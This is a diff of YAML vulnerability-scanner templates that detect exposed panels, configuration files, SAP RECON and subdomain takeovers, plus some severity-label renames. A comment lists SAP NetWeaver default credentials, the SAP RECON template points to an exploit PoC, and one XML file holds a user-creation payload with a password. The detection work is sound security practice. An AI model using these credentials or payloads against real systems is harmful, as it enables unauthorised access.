@@ -0,0 +1,22 @@
id: web-config
info:
name: Web Config file
author: Yash Anand @yashanand155
severity: info
requests:
- method: GET
path:
- '{{BaseURL}}/web.config'
matchers-condition: and
matchers:
- type: word
words:
- <configuration>
- <system.webServer>
condition: and
- type: status
status:
- 200
+1 -1
View File
@@ -3,7 +3,7 @@ id: wordpress-directory-listing
info:
name: Wordpress directory listing
author: Manas_Harsh
severity: informative
severity: info
requests:
- method: GET
+2 -2
View File
@@ -1,9 +1,9 @@
id: wordpress-user-enumaration
id: wordpress-user-enumeration
info:
name: Wordpress user enumeration
author: Manas_Harsh
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: wordpress-xmlrpc-file
info:
name: WordPress xmlrpc
author: udit_thakkur
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: cisco-asa-panel-detect
info:
name: Cisco ASA VPN panel detect
author: organiccrap
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: compal-panel-detect
info:
name: Compal CH7465LG panel detect
author: fabaff
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: crxde
info:
name: CRXDE Lite
author: nadino
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: exposed-docker-api
info:
name: Exposed Docker API
author: furkansenan & dwisiswant0
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: fortinet-fortigate-panel
info:
name: Fortinet FortiGate SSL VPN Panel
author: bsysop
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: globalprotect-panel
info:
name: PaloAlto Networks GlobalProtect Panel
author: organiccrap
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: grafana-detect
info:
name: Grafana panel detect
author: organiccrap
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: jenkins-async-people
info:
name: Jenkins panel async-people
author: nadino
severity: informative
severity: info
requests:
- method: GET
+13
View File
@@ -0,0 +1,13 @@
id: jmx-console
info:
name: JMX Console
author: Yash Anand @yashanand155
severity: Low
requests:
- method: GET
path:
- '{{BaseURL}}/jmx-console/'
matchers:
- type: word
words:
- JBoss JMX Management Console
+1 -1
View File
@@ -2,7 +2,7 @@ id: kubernetes-pods-api
info:
name: Kubernetes Pods API
author: ilovebinbash
severity: informative
severity: info
requests:
- method: GET
path:
+1 -1
View File
@@ -3,7 +3,7 @@ id: mongo-express-web-gui
info:
name: Mongo Express Web GUI
author: puzzlepeaches
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: parallels-html-client
info:
name: Parallels HTML5 Client
author: bauthard
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: phpmyadmin-panel
info:
name: phpMyAdmin Panel
author: bauthard
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: pulse-secure-panel
info:
name: Pulse Secure VPN Panel
author: bsysop
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: rabbitmq-dashboard
info:
name: RabbitMQ Dashboard
author: fyoorer
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: sap-netweaver-portal-detect
info:
name: SAP NetWeaver Portal detect
author: organiccrap
severity: informative
severity: info
# SAP Netweaver default creds - SAP*/06071992 or TMSADM/$1Pawd2&
requests:
+35
View File
@@ -0,0 +1,35 @@
id: sap-recon-detect
info:
name: SAP RECON Finder
author: samueladi_ & organiccrap
severity: medium
# Source:- https://github.com/chipik/SAP_RECON
# This is detection template, please use above poc to exploit this further.
requests:
- method: GET
path:
- "{{BaseURL}}/CTCWebService/CTCWebServiceBean"
- "{{BaseURL}}/CTCWebService/CTCWebServiceBean?wsdl"
- "{{BaseURL}}/CTCWebService/Config1?wsdl"
matchers-condition: and
matchers:
- type: word
words:
- Method Not Allowed
- Expected request method POST. Found GET.
- Generated by WSDLDefinitionsParser
- bns0:Config1Binding
- wsdl:definitions
- tns:CTCWebServiceSiBinding
condition: or
- type: status
status:
- 405
- 200
condition: or
+1 -1
View File
@@ -3,7 +3,7 @@ id: sophos-fw-version-detect
info:
name: Sophos Firewall version detection
author: organiccrap
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: supervpn-detect
info:
name: SuperVPN panel detect
author: organiccrap
severity: informative
severity: info
requests:
- method: GET
+23 -1
View File
@@ -3,7 +3,7 @@ id: swagger-panel
info:
name: Swagger API Panel
author: Ice3man
severity: informative
severity: info
requests:
- method: GET
@@ -15,6 +15,28 @@ requests:
- "{{BaseURL}}/api-docs/swagger.json"
- "{{BaseURL}}/swagger.json"
- "{{BaseURL}}/swagger/v1/swagger.json"
- "{{BaseURL}}/api/index.html"
- "{{BaseURL}}/api/docs/"
- "{{BaseURL}}/api/swagger.json"
- "{{BaseURL}}/api/swagger.yaml"
- "{{BaseURL}}/api/swagger.yml"
- "{{BaseURL}}/api/swagger/index.html"
- "{{BaseURL}}/api/swagger/swagger-ui.html"
- "{{BaseURL}}/api/api-docs/swagger.json"
- "{{BaseURL}}/api/swagger-ui/swagger.json"
- "{{BaseURL}}/api/apidocs/swagger.json"
- "{{BaseURL}}/api/swagger-ui/api-docs"
- "{{BaseURL}}/api/api-docs"
- "{{BaseURL}}/api/apidocs"
- "{{BaseURL}}/api/swagger"
- "{{BaseURL}}/api/swagger/static/index.html"
- "{{BaseURL}}/api/swagger-resources"
- "{{BaseURL}}/api/swagger-resources/restservices/v2/api-docs"
- "{{BaseURL}}/api/__swagger__/"
- "{{BaseURL}}/api/_swagger_/"
- "{{BaseURL}}/api/spec/swagger.json"
- "{{BaseURL}}/api/swagger/ui/index"
- "{{BaseURL}}/api/api/schema/"
matchers:
- type: word
words:
+22
View File
@@ -0,0 +1,22 @@
id: tikiwiki-cms
info:
name: Tiki Wiki CMS Groupware
author: chron0x
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/tiki-login_scr.php"
- "{{BaseURL}}/tiki-login.php"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "Tiki Wiki CMS Groupware"
part: body
+20
View File
@@ -0,0 +1,20 @@
id: weave-scope-dashboard-detect
info:
name: Weave Scope Dashboard
author: e_schultze_
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
words:
- "<title>Weave Scope</title>"
- "__WEAVEWORKS_CSRF_TOKEN"
- "__CSRF_TOKEN_PLACEHOLDER__"
condition: and
part: body
+1 -1
View File
@@ -3,7 +3,7 @@ id: webeditors
info:
name: Web Editors
author: pwnmachine
severity: informative
severity: info
requests:
- method: GET
+1
View File
@@ -0,0 +1 @@
<root><user><JavaOrABAP>java</JavaOrABAP><username>projectdiscover</username><password>proj3ctD1$c0v3ry</password><userType></userType></user></root>
@@ -95,6 +95,7 @@ requests:
words:
- "X-Application-Context"
- "application/json"
- "application/vnd.spring-boot.actuator.v2+json"
- "hprof"
condition: or
part: header
@@ -0,0 +1,19 @@
id: wamp-xdebug-detect
info:
name: WAMP xdebug
author: e_schultze_
severity: info
# Inspired on https://github.com/random-robbie/My-Shodan-Scripts/blob/1b01bceecc9be0b74b202f445874920eee48bba5/wamp-xdebug/wamp-xdebug.py
# Goal: detect if xdebug.remote_connect_back is enabled
requests:
- method: GET
path:
- "{{BaseURL}}/?phpinfo=-1"
matchers:
- type: word
words:
- 'xdebug.remote_connect_back</td><td class="v">On</td><td class="v">On</td>'
part: body
+281 -246
View File
@@ -1,15 +1,16 @@
id: detect-all-takeovers
info:
name: Subdomain takeover finder
name: Subdomain Takeover Detection
author: "melbadry9 & pxmme1337"
severity: high
# Update this list with new takeovers matchers
# Do not delete other template files for takeover
# https://github.com/EdOverflow/can-i-take-over-xyz
# You need to claim the CNAME the subdomain to confirm the takeover.
# Do not report this without claiming the CNAME.
# You need to claim the subdomain / CNAME of the subdomain to confirm the takeover.
# Do not report subdomain takeover issues only based on detection.
# Total number of services #71
requests:
- method: GET
@@ -18,105 +19,6 @@ requests:
matchers-condition: or
matchers:
- type: word
name: pantheon.io
words:
- "The gods are wise, but do not know of the site which you seek."
- type: word
name: aws-s3-bucket
words:
- "The specified bucket does not exist"
- type: word
name: anima
words:
- "If this is your website and you've just created it, try refreshing in a minute"
- type: word
name: ghost
words:
- "The thing you were looking for is no longer here, or never was"
- type: regex
name: worksites
regex:
- "(?:Company Not Found|you&rsquo;re looking for doesn&rsquo;t exist)"
- type: word
name: landingi
words:
- It looks like you're lost
- The page you are looking for is not found
- type: word
name: helprace
words:
- Alias not configured!
- Admin of this Helprace account needs to set up domain alias
- "(see Step 2 here: Using your own domain with Helprace)."
- type: word
name: canny
words:
- Company Not Found
- There is no such company. Did you enter the right URL?
- type: word
name: ngrok
words:
- ngrok.io not found
- Tunnel *.ngrok.io not found
- type: word
name: tumblr
words:
- Whatever you were looking for doesn't currently exist at this address.
- There's nothing here.
- type: word
name: github
words:
- There isn't a GitHub Pages site here.
- For root URLs (like http://example.com/) you must provide an index.html file
- type: word
name: heroku
words:
- There's nothing here, yet.
- herokucdn.com/error-pages/no-such-app.html
- "<title>No such app</title>"
- type: word
name: tictail
words:
- Building a brand of your own?
- 'to target URL: <a href="https://tictail.com'
- Start selling on Tictail.
- type: word
name: campaignmonitor
words:
- "<strong>Trying to access your account?</strong>"
- or <a href="mailto:[email protected]
- type: word
name: cargocollective
words:
- <div class="notfound">
- 404 Not Found<br>
- type: word
name: bitbucket
words:
- The page you have requested does not exist
- Repository not found
- type: word
name: smartling
words:
- Domain is not configured
- type: word
name: acquia
words:
@@ -124,93 +26,14 @@ requests:
- The site you are looking for could not be found.
- type: word
name: uservoice
name: agilecrm
words:
- This UserVoice subdomain is currently available!
- Sorry, this page is no longer available.
- type: word
name: ghost
name: airee
words:
- The thing you were looking for is no longer here
- The thing you were looking for is no longer here, or never was
- type: word
name: tilda
words:
- Domain has been assigned
- type: word
name: wordpress
words:
- Do you want to register
- type: word
name: teamwork
words:
- Oops - We didn't find your site.
- type: word
name: helpjuice
words:
- We could not find what you're looking for.
- type: word
name: helpscout
words:
- "No settings were found for this company:"
- type: word
name: cargo
words:
- If you're moving your domain away from Cargo you must make this configuration
through your registrar's DNS control panel.
- type: word
name: feedpress
words:
- The feed has not been found.
- type: word
name: surge
words:
- project not found
- type: word
name: surveygizmo
words:
- data-html-name
- type: word
name: mashery
words:
- Unrecognized domain <strong>
- type: word
name: intercom
words:
- This page is reserved for artistic dogs.
- <h1 class="headline">Uh oh. That page doesn’t exist.</h1>
- type: word
name: webflow
words:
- <p class="description">The page you are looking for doesn't exist or has been
moved.</p>
- type: word
name: thinkific
words:
- You may have mistyped the address or the page may have moved.
- type: word
name: tave
words:
- "<h1>Error 404: Page Not Found</h1>"
- type: word
name: wishpond
words:
- https://www.wishpond.com/404?campaign=true
- Ошибка 402. Сервис Айри.рф не оплачен
- type: word
name: aftership
@@ -224,9 +47,14 @@ requests:
- There is no portal here ... sending you back to Aha!
- type: word
name: brightcove
name: anima
words:
- '<p class="bc-gallery-error-code">Error Code: 404</p>'
- "If this is your website and you've just created it, try refreshing in a minute"
- type: word
name: aws-bucket
words:
- "The specified bucket does not exist"
- type: word
name: bigcartel
@@ -234,24 +62,62 @@ requests:
- "<h1>Oops! We couldn&#8217;t find that page.</h1>"
- type: word
name: compaignmonitor
name: bitbucket
words:
- Double check the URL or <a href="mailto:[email protected]
- The page you have requested does not exist
- Repository not found
- type: word
name: acquia
name: brightcove
words:
- The site you are looking for could not be found.
- '<p class="bc-gallery-error-code">Error Code: 404</p>'
- type: word
name: proposify
name: campaignmonitor
words:
- If you need immediate assistance, please contact <a href="mailto:[email protected]
- "<strong>Trying to access your account?</strong>"
- or <a href="mailto:[email protected]
- type: word
name: simplebooklet
name: canny
words:
- We can't find this <a href="https://simplebooklet.com
- Company Not Found
- There is no such company. Did you enter the right URL?
- type: word
name: cargo
words:
- If you're moving your domain away from Cargo you must make this configuration
through your registrar's DNS control panel.
- type: word
name: cargocollective
words:
- <div class="notfound">
- 404 Not Found<br>
- type: word
name: fastly
words:
- "Fastly error: unknown domain:"
- type: word
name: feedpress
words:
- The feed has not been found.
- type: word
name: frontify
words:
- 404 - Page Not Found
- Oops… looks like you got lost
condition: and
part: body
- type: word
name: gemfury
words:
- "404: This page could not be found."
- type: word
name: getresponse
@@ -259,58 +125,46 @@ requests:
- With GetResponse Landing Pages, lead generation has never been easier
- type: word
name: vend
name: ghost
words:
- Looks like you've traveled too far into cyberspace.
- The thing you were looking for is no longer here
- The thing you were looking for is no longer here, or never was
- type: word
name: jetbrains
name: github
words:
- is not a registered InCloud YouTrack.
- There isn't a GitHub Pages site here.
- For root URLs (like http://example.com/) you must provide an index.html file
- type: word
name: readme
words:
- Project doesnt exist... yet!
- type: word
name: smugmug
words:
- '{"text":"Page Not Found"'
- type: word
name: airee
words:
- Ошибка 402. Сервис Айри.рф не оплачен
- type: word
name: kinsta
words:
- No Site For Domain
- type: word
name: launchrock
words:
- It looks like you may have taken a wrong turn somewhere. Don't worry...it happens
to all of us.
- type: word
name: Strikingly
words:
- But if you're looking to build your own website
- you've come to the right place.
- type: word
name: HatenaBlog
name: hatenablog
words:
- 404 Blog is not found
- Sorry, we can't find the page you're looking for.
- type: word
name: wufoo
name: helpjuice
words:
- Profile not found
- Hmmm....something is not right.
- We could not find what you're looking for.
- type: word
name: helprace
words:
- Alias not configured!
- Admin of this Helprace account needs to set up domain alias
- "(see Step 2 here: Using your own domain with Helprace)."
- type: word
name: helpscout
words:
- "No settings were found for this company:"
- type: word
name: heroku
words:
- There's nothing here, yet.
- herokucdn.com/error-pages/no-such-app.html
- "<title>No such app</title>"
- type: word
name: hubspot
@@ -318,27 +172,54 @@ requests:
- Domain not found
- does not exist in our system
- type: word
name: intercom
words:
- This page is reserved for artistic dogs.
- <h1 class="headline">Uh oh. That page doesn’t exist.</h1>
- type: word
name: jazzhr
words:
- This account no longer active
- type: word
name: smartjob
name: jetbrains
words:
- Job Board Is Unavailable
- This job board website is either expired
- This job board website is either expired or its domain name is invalid.
- type: regex
name: Uptimerobot
regex:
- "^page not found$"
- is not a registered InCloud YouTrack.
- type: word
name: agile
name: kinsta
words:
- Sorry, this page is no longer available.
- No Site For Domain
- type: word
name: landingi
words:
- It looks like you're lost
- The page you are looking for is not found
- type: word
name: launchrock
words:
- It looks like you may have taken a wrong turn somewhere. Don't worry...it happens
to all of us.
- type: word
name: mashery
words:
- Unrecognized domain <strong>
- type: word
name: ngrok
words:
- ngrok.io not found
- Tunnel *.ngrok.io not found
- type: word
name: pantheon.io
words:
- "The gods are wise, but do not know of the site which you seek."
- type: word
name: pingdom
@@ -346,7 +227,161 @@ requests:
- Public Report Not Activated
- This public report page has not been activated by the user
- type: word
name: proposify
words:
- If you need immediate assistance, please contact <a href="mailto:[email protected]
- type: word
name: readme
words:
- Project doesnt exist... yet!
- type: word
name: shopify
words:
- "Sorry, this shop is currently unavailable."
- type: word
name: simplebooklet
words:
- We can't find this <a href="https://simplebooklet.com
- type: word
name: smartjob
words:
- Job Board Is Unavailable
- This job board website is either expired
- This job board website is either expired or its domain name is invalid.
- type: word
name: smartling
words:
- Domain is not configured
- type: word
name: smugmug
words:
- '{"text":"Page Not Found"'
- type: word
name: strikingly
words:
- But if you're looking to build your own website
- you've come to the right place.
- type: word
name: surge
words:
- project not found
- type: word
name: surveygizmo
words:
- data-html-name
- type: word
name: tave
words:
- "<h1>Error 404: Page Not Found</h1>"
- type: word
name: teamwork
words:
- Oops - We didn't find your site.
- type: word
name: thinkific
words:
- You may have mistyped the address or the page may have moved.
- type: word
name: tictail
words:
- Building a brand of your own?
- 'to target URL: <a href="https://tictail.com'
- Start selling on Tictail.
- type: word
name: tilda
words:
- Domain has been assigned
- type: word
name: tumblr
words:
- Whatever you were looking for doesn't currently exist at this address.
- There's nothing here.
- type: word
name: uberflip
words:
- "Non-hub domain, The URL you've accessed does not provide a hub."
- type: regex
name: unbounce
regex:
- "^The requested URL was not found on this server.$"
- type: regex
name: uptimerobot
regex:
- "^page not found$"
- type: word
name: uservoice
words:
- This UserVoice subdomain is currently available!
- type: word
name: vend
words:
- Looks like you've traveled too far into cyberspace.
- type: word
name: webflow
words:
- <p class="description">The page you are looking for doesn't exist or has been
moved.</p>
- type: word
name: wishpond
words:
- https://www.wishpond.com/404?campaign=true
- type: word
name: wordpress
words:
- Do you want to register
- type: regex
name: worksites
regex:
- "(?:Company Not Found|you&rsquo;re looking for doesn&rsquo;t exist)"
- type: word
name: wufoo
words:
- Profile not found
- Hmmm....something is not right.
- type: word
name: zendesk
words:
- this help center no longer exists
- type: word
name: readthedocs
words:
- unknown to Read the Docs
- type: word
name: tilda
words:
- <title>Please renew your subscription</title>
- Please go to the site settings and put the domain name in the Domain tab.
- type: word
name: smart-jobboard
words:
- This job board website is either expired or its domain name is invalid.
-15
View File
@@ -1,15 +0,0 @@
id: pantheon-io-takeover
info:
name: Find Pantheon.io subdomain takeover
author: pxmme1337
severity: high
requests:
- method: GET
path:
- "{{BaseURL}}/"
matchers:
- type: word
words:
- "The gods are wise, but do not know of the site which you seek."
@@ -1,16 +0,0 @@
id: worksites-takeover
info:
name: Find worksites-takeover
author: melbadry9
severity: high
requests:
- method: GET
path:
- "{{BaseURL}}/"
matchers:
- type: regex
regex:
- "(?:Company Not Found|you&rsquo;re looking for doesn&rsquo;t exist)"
part: body
+1 -1
View File
@@ -3,7 +3,7 @@ id: aem-cms-finder
info:
name: AEM Finder
author: mzack9999
severity: informative
severity: info
requests:
- method: GET
@@ -3,7 +3,7 @@ id: bigip-config-utility
info:
name: BIG-IP Configuration Utility detected
author: dwisiswant0
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: content-delivery-network
info:
name: Detect content delivery network
author: fabaff
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: citrix-vpn-detect
info:
name: Citrix VPN Detection
author: bauthard
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: cms-detect
info:
name: CMS Detect
author: NkxxkN https://twitter.com/NkkxN
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: Github-Enterprise-Detect
info:
name: Detect Github Enterprise
author: ehsahil
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: Gitlab-Detect
info:
name: Detect Gitlab
author: ehsahil
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: graphql
info:
name: GraphQL API
author: NkxxkN
severity: informative
severity: info
requests:
- method: POST
+1 -1
View File
@@ -3,7 +3,7 @@ id: home-assistant
info:
name: Detect Home Assistant
author: fabaff
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: Jaspersoft-detect
info:
name: Jaspersoft detected
author: koti2
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: jenkins-headers-detect
info:
name: Jenkins Headers Based Detection
author: ice3man
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: jira-detect
info:
name: Detect Jira Issue Management Software
author: bauthard
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -9,7 +9,7 @@ id: linkerd-badrule-detect
info:
name: Linkerd detection via bad rule
author: dudez
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -18,7 +18,7 @@ id: linkerd-ssrf-detect
info:
name: Linkerd SSRF detection
author: dudez
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: netsweeper-webadmin-detect
info:
name: Netsweeper WebAdmin detected
author: dwisiswant0
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: ntlm-directories
info:
name: Discovering directories w/ NTLM
author: puzzlepeaches
severity: informative
severity: info
requests:
- method: GET
@@ -3,7 +3,7 @@ id: programming-language-detect
info:
name: Programming Language Detect
author: NkxxkN https://twitter.com/NkkxN
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: reverse-proxy-detect
info:
name: Reverse Proxy Detect
author: NkxxkN https://twitter.com/NkkxN
severity: informative
severity: info
requests:
- method: GET
+1 -1
View File
@@ -3,7 +3,7 @@ id: s3-detect
info:
name: Detect Amazon-S3 Bucket
author: melbadry9
severity: informative
severity: info
requests:
- method: GET
Loaded 100 of 122 files, more files were not shown because too many files have changed in this diff. Show more